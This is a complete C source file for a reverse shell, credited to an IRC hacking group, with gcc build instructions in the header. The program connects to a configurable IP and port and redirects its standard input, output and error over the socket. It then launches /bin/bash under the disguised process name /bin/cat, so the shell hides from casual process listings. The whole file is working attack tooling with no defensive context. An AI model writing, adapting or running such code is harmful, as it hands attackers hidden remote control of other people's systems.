/* Writed by Rozor !Sub_Level */
/* irc-hispano.org #sub_level */
/* http://sincontrol.tomahost.org */
/* C/C++ Linux*/
/* gcc XZrshell.c -o XZrshell */
/* Name ID = /bin/cat */

    
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>



    int main()
    {
        int sck; 
        struct sockaddr_in rhost;
        char *IP = "127.0.0.1"; /* Direccion ip */
        unsigned short PORT = 666; /* Puerto */
        rhost.sin_family = AF_INET; 
        rhost.sin_port = htons(PORT);
        rhost.sin_addr.s_addr = inet_addr("127.0.0.1");
        memset(&(rhost.sin_zero), '\0', 8);
        sck = socket(AF_INET, SOCK_STREAM, 0);
        connect(sck, (struct sockaddr *)&rhost, sizeof(rhost));
        if(!fork())
       {

        setsid();
        dup2(sck, 0);
        dup2(sck, 1);
        dup2(sck, 2);        
        dup2(sck, 3);
        dup2(sck, 4);
        dup2(sck, 5);
        execl("/bin/bash", "/bin/cat", NULL); 
        close(sck);
       }

}



